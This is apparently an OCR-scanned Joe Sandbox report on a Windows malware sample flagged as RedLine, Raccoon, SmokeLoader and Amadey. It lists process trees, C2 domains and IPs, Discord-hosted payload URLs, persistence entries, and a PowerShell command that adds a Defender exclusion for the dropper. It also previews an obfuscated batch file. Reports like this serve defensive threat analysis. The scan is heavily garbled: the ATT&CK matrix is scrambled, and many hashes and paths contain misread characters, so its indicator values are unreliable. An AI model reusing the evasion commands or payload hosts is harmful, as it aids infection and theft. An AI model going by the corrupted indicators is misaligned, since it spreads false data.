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Windows Analysis Report 25Kf6vSBoq.exe
Overview

General Information Detection Signatures Classification

Sample 25Kf6vSBog.exe
Name: MALICIOUS

Analysis ID: 511954

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e....

MD5: 3b947ed5aabdd7.. Early bird code injection technique d...
SHA1L:
55222072522f22a. Yara detected AntiVM3
SHA256: 8245ad87eeabal..
Yara detected Smokeloader
Yara detected Amadey bot
Infos: n E Q l'f i Q
System process connects to networ...
SHEY Y

. . Yara detected Raccoon Stealer
Most interesting Screenshot:

Amadey Raccoon

. ¢ Detected unpacking (changes PE se...
RedLine

SmokeL cader

Antivirus detection for URL or domain

(]

Range: 0-100 Antivirus detection for dropped file

- Whitelisted: false

a X Yara detected UAC Bypass using C...
9 Confidence: 100%

B

ree

= System is w10x64

. m 25Kf6vSBog.exe (PID: 2904 cmdline: 'C:\Users\user\Desktop\25KfévSBog.exe' MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)
e [ 25Kf6vSBog.exe (PID: 5668 cmdline: 'C:\Users\user\Desktop\25Kf6vSBog.exe' MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)
o [ explorer.exe (PID: 3292 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOELD)
. @ 6ECS5.exe (PID: 6952 cmdline: C:\Users\user~1\AppData\Local\Temp\6EC5.exe MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)
e (B 6ECS5.exe (PID: 7072 cmdline: C:\Users\user~1\AppData\Local\Temp\6EC5.exe MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)
o (B B82B.exe (PID: 1936 cmdline: C:\Users\user-1\AppData\Local\Temp\B82B.exe MD5: F57B28AEC65D4691202B9524F84CC54A)
. E AdvancedRun.exe (PID: 6864 cmdline: 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe' /EXEFilename

‘C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\test.bat’ /WindowState "0 /PriorityClass "32" /CommandLine " /StartDirectory * /RunAs
8 /Run MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

. E AdvancedRun.exe (PID: 5420 cmdline: ‘C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe’ /SpecialRun
4101d8 6864 MD5: 17FC12902F4769AF3A9271EB4E2DACCE)
o E¥ powershell.exe (PID: 4784 cmdline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath ‘C:\Users\user~1\A
ppData\Local\Temp\B82B.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)
. conhost.exe (PID: 5204 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [B] ServiceModelReg.exe (PID: 6952 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe MD5:
FFF587A66B8D5A50A055B9CD6D632BEB)
e (B CiB2.exe (PID: 5352 cmdline: C:\Users\user~1\AppData\Local\Temp\C1B2.exe MD5: 42758E2569239A774BECDB12698B124C)
. E’ CDOD.exe (PID: 5072 cmdline: C:\Users\user~1\AppData\Local\Temp\CDOD.exe MD5: 73252ACB344040DDC5D9CE78A5D3A4C2)
e [E1 DF9C.exe (PID: 5668 cmdline: C:\Users\user~1\AppData\Local\Temp\DF9C.exe MD5: AB823DF932B3C2941A9015848EBDB9I7B)
o (B EAB8A.exe (PID: 3820 cmdline: C:\Users\user~1\AppData\Local\Temp\EA8A.exe MD5: 9FA070AF1ED2E1F07ED8CIF6EB2BDD29)
. E AdvancedRun.exe (PID: 6960 cmdline: 'C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\AdvancedRun.exe' /[EXEFilename

‘C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816ab\test.bat’' /WindowState "0" /PriorityClass 32" /CommandLine " /StartDirectory " /RunAs
8 /Run MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

. @ F4BC.exe (PID: 64 cmdline: C:\Users\user~1\AppData\Local\Temp\F4BC.exe MD5: 31BE6099D31BDBF1ED339EFFDC1C7064)
. @ 3D1.exe (PID: 2220 cmdline: C:\Users\user~1\AppData\Local\Temp\3D1.exe MD5: C1EB42674C5E7180ADEFEC71EE8B1D60)
e [E1 DF9C.exe (PID: 5844 cmdline: 'C:\Users\user~1\AppData\Local\Temp\DF9C.exe' MD5: AB823DF932B3C2941A9015848EBDBI7B)
e [ DF9C.exe (PID: 6772 cmdline: DF9C.exe MD5: AB823DF932B3C2941A9015848EBDBI7B)
e [E1 DF9C.exe (PID: 6760 cmdline: 'C:\Users\user~1\AppData\Local\Temp\DF9C.exe' MD5: AB823DF932B3C2941A9015848EBDBI7B)
e (B DF9C.exe (PID: 6128 cmdline: DF9C.exe MD5: AB823DF932B3C2941A9015848EBDBI7B)
e [ sqtvvs.exe (PID: 1404 cmdline: 'C:\Users\user~1\AppData\Local\Temp\603c0340b4\sqtvvs.exe' MD5: AB823DF932B3C2941A9015848EBDBI7B)
. @ irjbuft (PID: 6960 cmdline: C:\Users\user\AppData\Roaming\irjbuft MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)
e [ irjbuft (PID: 7100 cmdline: C:\Users\user\AppData\Roaming\irjbuft MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)
. @ irjbuft (PID: 1988 cmdline: C:\Users\user\AppData\Roaming\irjbuft MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)
e [ irjbuft (PID: 4452 cmdline: C:\Users\user\AppData\Roaming\irjbuft MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)
= cleanup

Malware Configuration
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No configs have been found

Yara Overview

PCAP (Network Traffic)

Source

dump.pcap

Dropped Files

Source

C:\Users\user\AppData\Local\Temp\C1B2.exe

C:\Users\user\AppData\Local\Temp\EA8A.exe

C:\Users\user\AppData\Local\Temp\B82B.exe

Memory Dumps

Source

00000016.00000003.418065622.0000000002FC
0000.00000004.00000001.sdmp

0000001C.00000002.462341902.000000000479
1000.00000004.00020000.sdmp

00000027.00000000.491819153.000000000040
2000.00000040.00000001.sdmp

0000000F.00000002.382786562.0000000001F7
0000.00000004.00000001.sdmp

00000027.00000000.500851808.000000000040
2000.00000040.00000001.sdmp

Unpacked PEs

Source
21.0.C1B2.exe.e80000.3.unpack

24.0.EA8A.exe.fa0000.3.unpack

Copyright Joe Security LLC 2021

Rule Description
JoeSecurity_Amadey Yara detected
Amadey bot
Rule Description

SUSP_PE_Discord_Attach
ment_Oct21_1

SUSP_PE_Discord_Attach
ment_Oct21_1

SUSP_PE_Discord_Attach
ment_Oct21_1

Rule

JoeSecurity_SmokeLoader
2

JoeSecurity_SmokeLoader
2

JoeSecurity_RedLine

JoeSecurity_SmokeLoader
2

JoeSecurity_RedLine

Author

Joe Security

Author

Detects suspicious Florian Roth

executable with
reference to a
Discord
attachment (often
used for malware
hosting on a
legitimate FQDN)

Detects suspicious Florian Roth

executable with
reference to a
Discord
attachment (often
used for malware
hosting on a
legitimate FQDN)

Detects suspicious Florian Roth

executable with
reference to a
Discord
attachment (often
used for malware
hosting on a
legitimate FQDN)

Description

Yara detected
SmokeLoader

Yara detected
SmokeLoader

Yara detected
RedLine Stealer

Yara detected
SmokeLoader

Yara detected
RedLine Stealer

Author

Joe Security

Joe Security

Joe Security

Joe Security

Joe Security

Click to see the 15 entries

Rule

SUSP_PE_Discord_Attach
ment_Oct21_1

SUSP_PE_Discord_Attach
ment_Oct21_1

Description

Author

Detects suspicious Florian Roth

executable with
reference to a
Discord
attachment (often
used for malware
hosting on a
legitimate FQDN)

Detects suspicious Florian Roth

executable with
reference to a
Discord
attachment (often
used for malware
hosting on a
legitimate FQDN)

Strings

Strings
e 0x7a2f9:$x1: https://cdn.discordapp.com/attachments/

e 0x20735:$x1: https://cdn.discordapp.com/attachments/

e 0x207e9:$x1: https://cdn.discordapp.com/attachments/

e 0x7b593:$x1: https://cdn.discordapp.com/attachments/
e 0x7b647:$x1: https://cdn.discordapp.com/attachments/

Strings

Strings
e 0x7a2f9:$x1: https://cdn.discordapp.com/attachments/

e 0x20735:$x1: https://cdn.discordapp.com/attachments/
e 0x207e9:$x1: https://cdn.discordapp.com/attachments/
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Source Rule Description Author Strings

24.0.EA8A.exe.fa0000.0.unpack SUSP_PE_Discord_Attach Detects suspicious Florian Roth e 0x20735:$x1: https://cdn.discordapp.com/attachments/
ment_Oct21_1 executable with e 0x207e9:$x1: https://cdn.discordapp.com/attachments/
reference to a
Discord

attachment (often
used for malware
hosting on a

legitimate FQDN)

21.2.C1B2.exe.e80000.0.unpack SUSP_PE_Discord_Attach Detects suspicious Florian Roth e 0x7a2f9:$x1: https://cdn.discordapp.com/attachments/
ment_Oct21_1 executable with
reference to a
Discord

attachment (often
used for malware
hosting on a

legitimate FQDN)

20.0.B82B.exe.850000.1.unpack SUSP_PE_Discord_Attach Detects suspicious Florian Roth e 0x7b593:$x1: https://cdn.discordapp.com/attachments/
ment_Oct21_1 executable with e 0x7b647:$x1: https://cdn.discordapp.com/attachments/
reference to a
Discord

attachment (often
used for malware
hosting on a

legitimate FQDN)

Click to see the 26 entries

Sigma Overview

System Summary:

Sigma detected: Non Interactive PowerShell

Jbx Signature Overview

g

Click to jump to signature section

AV Detection:

Yara detected Raccoon Stealer
Antivirus detection for URL or domain
Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Exploits:

Yara detected UAC Bypass using CMSTP

Networking: | |

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Key, Mouse, Clipboard, Microphone and Screen Capturing: | |
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Yara detected SmokeLoader

=

E-Banking Fraud:

Yara detected Raccoon Stealer

=

System Summary:

=

Data Obfuscation:

Detected unpacking (changes PE section rights)

Persistence and Installation Behavior:

=

Yara detected Amadey bot

]

Hooking and other Techniques for Hiding and Protection:

DLL reload attack detected

Malware Analysis System Evasion:

=

Yara detected AntiVM3

Anti Debugging:

=

3

HIPS | PFW | Operating System Protection Evasion:

Early bird code injection technique detected
System process connects to network (likely due to code injection or exploit)

Benign windows process drops PE files

Stealing of Sensitive Information:

Yara detected RedLine Stealer
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Yara detected SmokeLoader

Yara detected Amadey bot

Yara detected Raccoon Stealer

Remote Access Functionality:

Yara detected RedLine Stealer

Yara detected SmokeLoader

Yara detected Raccoon Stealer

Mitre Att&ck Matrix

Privilege Credential Lateral Comn
Initial Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and C
Valid Native API DLL Side- Exploitation for Disable or Modify Input System Time Remote Archive Exfiltration Over Other  Ingres
Accounts Loading Privilege Tools Capture Discovery Services Collected  Network Medium Transf

Escalation Data

Default Shared Application DLL Side- Deobfuscate/Decode LSASS Account Discovery Remote Input Exfiltration Over Encryy
Accounts Modules Shimming Loading Files or Memory Desktop Capture ¢ Bluetooth Chann
Information Protocol
Domain Exploitation for  Windows Application Obfuscated Files or  Security File and Directory SMB/Windows Data from Automated Exfiltration Non-S
Accounts Client Service Shimming Information Account Discovery Admin Shares Network Port E
Execution Manager Shared
Drive
Local Command and  Registry Run  Access Token Software NTDS System Information Distributed Input Scheduled Transfer Non-
Accounts Scripting Keys / Startup Manipulation Packing Discovery B Component Capture Applici
Imerpreter Folder Object Model Layer
Protoc
Cloud Service Network Windows Timestomp LSA Query Registry SSH Keylogging Data Transfer Size Applici
Accounts Execution Logon Script  Service Secrets Limits Layer
Protoc
Replication Launchd Rc.common  Process DLL Side- Cached Security Software VNC GUI Input  Exfiltration Over C2 Multibi
Through Injection Loading Domain Discovery Capture  Channel Comm
Removable Credentials
Media
External Scheduled Task Startup ltems Registry Run Keys File Deletion DCSync Virtualization/Sandbox Windows Web Exfiltration Over Comm
Remote / Startup Folder Evasion Remote Portal Alternative Protocol Used |
Services Management Capture
Drive-by Command and  Scheduled Scheduled Masquerading Proc Process Discovery Shared Credential Exfiltration Over Applici
Compromise  Scripting Task/Job Task/Job Filesystem Webroot API Symmetric Encrypted Layer
Interpreter Hooking  Non-C2 Protocol
Exploit Public- PowerShell At (Linux) At (Linux) Virtualization/Sandbox /etc/passwd Application Window  Software Data Exfiltration Over Web F
Facing Evasion and Discovery Deployment  Staged Asymmetric Encrypted
Application letc/shadow Tools Non-C2 Protocol
Supply Chain  AppleScript At (Windows) At (Windows) Access Token Network System Owner/User  Taint Shared Local Data Exfiltration Over File Tr
Compromise Manipulation Sniffing Discovery Content Staging Unencrypted/Obfuscated Protoc
Non-C2 Protocol
Compromise  Windows Cron Cron Process Input Remote System Replication Remote Exfiltration Over Mail P
Software Command Shell Injection Capture  Discovery Through Data Physical Medium
Dependencies Removable Staging
and Media
Development
Tools
Compromise  Unix Shell Launchd Launchd Hidden Files and Keylogging Local Groups Component Screen Exfiltration over USB DNS
Software Directories Object Model  Capture
Supply Chain and
Distributed
CoM

Behavior Graph
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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0B S

Recycle Bin  JDDHMPC  E UH  QCFWYSK

-~ B B B W

LFOPODGV EFOYFBOLXA QCl 4 Word 2016

Xg
016

QCPWYSK

°T QNCYCDFI

GIGIYTFFYT  DUUDTUB

HH 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

25Kf6vSBog.exe 100% Joe Sandbox ML

Dropped Files

Source Detection Scanner Label Link
C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe 100% Avira HEUR/AGEN.1138925
C:\Users\user\AppData\Local\Temp\DF9C.exe 100% Avira HEUR/AGEN.1138925
C:\Users\user\AppData\Roaming\irjbuft 100% Joe Sandbox ML
C:\Users\user\AppData\Roaming\fijbuft 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\C1B2.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9C1A.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B82B.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CDOD.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\EA8A.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Loca\Temp\DF9C.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\F4BC.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Roaming\ffibuft 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6EC5.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3D1.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1105.tmp 0% Metadefender Browse

Copyright Joe Security LLC 2021 Page 10 of 130


https://www.metadefender.com/#!/results/file/bzE5MTExOUhKUVYzX2NQVzJIcnk0NDJ1NVBibkg/regular/analysis

ppD 0 p % e ab
e ppD 4 06-0a de 6a Ad e % ade de 0 e
e ppD 4c8d4506-0a de 6a Ad e 0% e ab
e ppD 6 99d816a6\Ad % ade de owse
e ppD 6 99d816a6\Ad 0% e ab
D
Pa
e De be Do a
oe )


https://www.metadefender.com/#!/results/file/YnpJeE1ESXlNbWhSV0hWQ01rVkRlZ18xa2xEOTBkOUw/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ESXlNbWhSV0hWQ01rVkRlZ18xa2xEOTBkOUw/regular/analysis

Source Detection Scanner Label Link Download

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
http:/itempuri.org/DetailsDataSet1.xsd 0% Avira URL Cloud safe
http://91.219.236.97/ 0% Avira URL Cloud safe
hitp:/91.219.236.97//1/f/922CynwB3dP17SpzOnMI/019cd02588367c4185228009642767h5fca228df 0% Avira URL Cloud  safe
http://91.219.236.97///f/9Z2CynwB3dP17SpzOnMI/07191d3d9db3dbffa0d8f6d32b0cace6fdafa466 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
privacytoolzforyou-6000.top 185.98.87.159 true false high
toptelete.top 172.67.160.46 true false high
cdn.discordapp.com 162.159.135.233 true false high
api.2ip.ua 77.123.139.190 true false high
znpst.top 151.251.30.69 true false high
nusurtal4f.net 45.141.84.21 true false high
hajezeyl.top 185.98.87.159 true false high
sysaheu90.top 185.98.87.159 true false high
telegalive.top unknown unknown false high
xacokuo8.top unknown unknown false high

Contacted URLs

Name Malicious Antivirus Detection Reputation
http:// false high
https://cdn.discordapp.com/attachments/893177342426509335/903702020781907998/4D0A6

361.jpg

http:// false high
https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/ABOF9

338.jpg

http:// false high
https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D

0D3.jpg
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Malicious Antivirus Detection

Reputation

http:ff

false high

https://cdn.discordapp.com/attachments/893177342426509335/903575517888925756/6 D9E3

C88.jpg

http://
https://cdn.discordapp.com/attachments/893177342426509335/903575519373697084/F83CB
811.jpg

URLs from Memory and Binaries

Contacted IPs

Public

P Domain

185.98.87.159 privacytoolzforyou-
6000.top

false high

Country Flag ASN ASN Name Malicious

Russian Federation - 205840 VM-HOSTINGRU false

162.159.129.233
172.67.160.46

unknown

toptelete.top

United States 13335 CLOUDFLARENETUS false

United States = 13335 CLOUDFLARENETUS false

162.159.135.233
93.115.20.139 unknown

Private

P
192.168.2.1

General Information

Joe Sandbox Version:
Analysis ID:

Start date:

Start time:

Joe Sandbox Product:
Overall analysis duration:
Hypervisor based Inspection enabled:
Report type:

Sample file name:
Cookbook file name:
Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:

Classification:

Copyright Joe Security LLC 2021

cdn.discordapp.com

United States 13335 CLOUDFLARENETUS false

Romania

202448 MVPShttpswwwmvpsnetEU  false

34.0.0 Boulder Opal
511954

29.10.2021
20:27:37
CloudBasic

Oh 16m 30s

false

light
25Kf6vSBog.exe
default.jbs
Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
42

» O O o

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default
Timeout
MAL
mal100.troj.expl.evad. winEXE@44/20@59/8
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EGA Information:

HDC Information: .

Failed

Successful, ratio: 36.7% (good quality ratio 22.8%)
Quality average: 36.2%
Quality standard deviation: 35%

Found application associated with file extension: .exe

HCA Information: e Successful, ratio: 56%
e Number of executed functions: 0
e Number of non-executed functions: 0
Cookbook Comments: e Adjust boot time
e Enable AMSI
L]
Warnings: Show All
Simulations

Behavior and APIs

Time Type

20:29:22 Task Scheduler
20:29:59 Autostart
20:30:09 Autostart
20:30:15 API Interceptor
20:30:21 API Interceptor
20:30:40 Task Scheduler
20:30:42 Task Scheduler
20:30:54 Task Scheduler
20:31:17 Autostart
20:31:35 Task Scheduler
20:32:25 Autostart

Joe Sandbox View | Context

IPs

No context
Domains

No context

ASN

No context

JA3 Fingerprints
No context
Dropped Files

No context

Created |/ dropped Files

Copyright Joe Security LLC 2021

Description
Run new task: Firefox Default Browser Agent CEB8766898B1A0D6 path: C:\Users\user\AppData\Roaming\irjbuft

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Chrome C:\Users\user~1\AppData\Local\Temp\DF
9C.exe

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Chrome C:\Users\user~1\AppData\Local\Temp\
DF9C.exe

8x Sleep call for process: 3D1.exe modified

30x Sleep call for process: powershell.exe modified

Run new task: sgtvvs.exe path: C:\Users\user~1\AppData\Local\Temp\603c0340b4\sqtvvs.exe

Run new task: Firefox Default Browser Agent FC48AAD9FCF207F2 path: C:\Users\user\AppData\Roaming\fijbuft
Run new task: Firefox Default Browser Agent 679833BEA6CC7311 path: C:\Users\user\AppData\Roaming\ffjbuft

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\822d2
dla-03c6-47d8-aff0-f5a5897ff683\9C1A.exe" --AutoStart

Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\822d2d1a-03c6-47d8-aff0-f5a5897ff6
83\9C1A .exe s>--Task

Run: HKCUB4\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\822
d2d1a-03c6-47d8-aff0-f5a5897ff683\9C1A.exe" --AutoStart
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C:\Users\user\AppDatal\Local\Microsoft\CLR _v4.0_32\UsagelLogs\DF9C.exe.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Local\Temp\DF9C.exe

ASCII text, with CRLF line terminators

dropped

520

5.345981753770044

false
12:Q3La’hhkvoDLI4AMWuCqDLI4MWuPk210KbbDLI4MWuUPJKiUrRZ910ZKhav:MLUE4K5E4Ks2wKDE4KhK3VZ9pKhk
044A637E42FE9A819D7E43C8504CA769

6FCA27B1A571B73563C8424C84F4F64F3CBCBE2F
E88E04654826CEO0CC7A840745254164DDBD175066D6E4EA6858BFOFE463EBB4

COA74FA4154FASE5951BOEEAC5330CA4BAC981FF9AD24C08575A76AD5D99CFB68556B9857C9C8209A1BFCB43F82E00F14962987A18A92A715F45AD0DA4E4AT 1¢
C

false

unknown

1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.
0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.
ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.C
ore\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..

C:\Users\luser\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\EA8A.exe.log

Process:
File Type:
Category:
Size (bytes):

C:\Users\user\AppData\Local\Temp\EA8A.exe
ASCII text, with CRLF line terminators
dropped

1039

Entropy (8bit):  5.365622957937216

Encrypted: false

SSDEEP: 24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE40KFKHK0ZAE4Kzr7K84jE4Ks:MxHKXwYHKhQnoPtHoxHhAHKzvKVjHKs

MD5: AEBCFF33270358D6EC23793128B3EF2F

SHA1L: 5E6B156157EDEA4222A5E0C258AE9ADEBBSCB7CE

SHA-256: 498EABIF855E7CE9B812EAD41339A9475127F0C8E7249033B975071D2292220C

SHA-512: 473111AD332D5E66724AFBOCESA1IEL1C97890D60484A818D1DB8C2386A99C05BAE6CID5C535DDFB6790BF5707C153502B938BE201393A3D70342A62902E0A3C9

Malicious: false

Reputation: unknown

Preview:
1,"fusion","GAC",0..1,"WIinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelma
ges_v4.0.30319_32\System\4f0a7eefa3cd3e0bad8b5ebddbbc72e6\System.ni.dll*,0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561
934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll*,0..3,"System.Configuration,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Configuration\8d67d92724ba49
4b6c7fd089d6f25b48\System.Configuration.ni.dll*,0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assem
bly\Nativelmages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.diI*,0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutra

C:\Users\user\AppData\Local\Temp\1105.tmp v

Process: C:\Users\user\AppData\Local\Temp\CDOD.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: modified

Size (bytes): 1622408

Entropy (8bit):  6.298350783524153

Encrypted: false

SSDEEP: 24576:hNZ04UyDzGrVh8xsPCwa3/dzcldIndozS35I1W1g/kNVSYVEs4j13HLHGJIImdV4q:dGrVr3hclvngzS35I1Wk/LVRHbO

MDS5: BFAG89ECA05147AFD466359DD4A144A3

SHAL: B3474BE2B836567420F8DC96512AA303F31C8AFC

SHA-256: B78463B94388FDDB34C03F5DDDD5D542E05CDED6D4E38C6A3588EC2C90F0070B

SHA-512: 8F09781FD585A6DFB8BBC34B9F153B414478B44B28D80A8BOBDC3BED687F3ADABIEGOFO8CCECS5D5A3FD916E3091C845F9D96603749490B1F7001430408F711C

Malicious: false

Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse

e Antivirus: ReversingLabs, Detection: 2%
Reputation: unknown
Preview:

Process:

File Type:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows
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https://www.metadefender.com/#!/results/file/bzE5MTExOUhKUVYzX2NQVzJIcnk0NDJ1NVBibkg/regular/analysis

Category: modified
Size (bytes): 600064
Entropy (8bit): 7.08622054901022
Encrypted: false
SSDEEP: 12288:5sU1dOyImnTRTDjpz0e6LUDR+SIDkY|7:iD3ntTDjR0e60gD
MD5: C1EB42674C5E7180ADEFEC71EE8B1D60
SHA1L: 4532F19A27443639D789F79231D127031AAE2E29
SHA-256: DFC50DE58C6339E624B60A7E6D5BCCC20297656CD80183379FAC54F11B3E6F56
SHA-512: 20F845413A0D1FCE41F6206B62704CB14E019EA1874B5AAA37FD2220E9COE8DAC672E9199179770E11D75634AB0C952F0E51B6937FBBODC5EABD808C8451F3D
Malicious: true
Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%
Reputation: unknown
Preview:
MZ. @ .L.IThis program cannot be run in DOS mode....$.. Ctw.Ctw.Ctw.,...ntw.,...atw.,...<tw.J...Dtw.Ctv.<tw.,...Btw.,...Btw.

,...Btw.RichCtw..

C:\Users\luser\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe 9

Process: C:\Users\user\AppData\Local\Temp\B82B.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 91000

Entropy (8bit):  6.241345766746317

Encrypted: false

SSDEEP: 1536:JW30srWjET3tYIrrRepnbZ60bGk2nLY 2jR+utQUN+WXim:HjJET9nX0pnUOik2nXjR+utQK+g3

MD5: 17FC12902F4769AF3A9271EBAE2DACCE

SHA1L: 9A4A1581CC3971579574F837E110F3BD6D529DAB

SHA-256: 29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B

SHA-512: 036E0D62490C26DEE27EF54E514302E1CC8A14DESCE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E
A

Malicious: false

Antivirus: e Antivirus: Metadefender, Detection: 3%, Browse

e Antivirus: ReversingLabs, Detection: 0%
Reputation: unknown

Preview:

C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\test.bat

Process: C:\Users\user\AppData\Local\Temp\B82B.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 8399

Entropy (8bit):  4.665734428420432

Encrypted: false

SSDEEP: 192:XjtlefE/Qv3puaQo8BEINisgwgxOTkreOP/XApNDQSO8wQJYbZhgEAFCH8N:xlef2Qh8BuNivdisOyj6YboVF3N

MD5: B2A5EF7D334BDF866113C6F4F9036AAE

SHAL: F9027F2827B35840487EFD04E818121B5A8541E0

SHA-256: 27426AA52448E564B5B9DFF2DBEG62037992ADA8336A8E36560CEE7A94930C45E

SHA-512: 8ED39ED39E03FAGDA4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56 CACEEE87ACFB7D4831D2671¢
E

Malicious: false

Reputation: unknown

Preview:

@%nmb%e%Ivjgxfcm%c%qckbdzpzhfjg%h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur%s%ukdtxigneflfe%c%toqs% %xbvjy%s%
yketzeltrurlx%t%xdvrvty%o%tutofjebvoygco%pYnoaevpkwrrrci% %npfksd%wdsljiconeph%i%sinxiygfbc%n%ykxnbrpdgztrdb%d%mfuvueeajpyxla¥%eYewyybmmo%f%jdz
tigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrgav¥%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbgs%%nue%i%lgybs
rbgk%g%xguast% %vas%wbtdayskzhki%i%fmmijryurgrdcz%n%emroplrim%d%ymxvyr¥%e%igpwnheoi%f%ffehbxrlehlo%e%tutofiebvo%n%ywijkif%d%pvdaa% %
trpa%s%xznydsnggdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xa
